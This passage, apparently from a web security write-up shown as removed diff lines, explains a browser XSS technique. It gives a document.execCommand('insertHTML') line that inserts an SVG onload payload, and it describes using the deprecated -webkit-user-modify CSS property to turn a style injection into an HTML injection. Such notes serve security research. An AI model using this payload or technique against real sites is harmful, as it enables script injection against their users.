-document.execCommand('insertHTML',false,'<svg/onload=console.log(this.parentElement.outerHTML)>')
-```
-
-Perhaps even more interestingly, **`contenteditable`** can be declared on any element in chromium by applying a deprecated **CSS property: `-webkit-user-modify:read-write`**
-
-This allows us to **elevate a CSS/style injection into an HTML injection**, by adding the CSS property to an element, and then utilizing the `insertHTML` command.
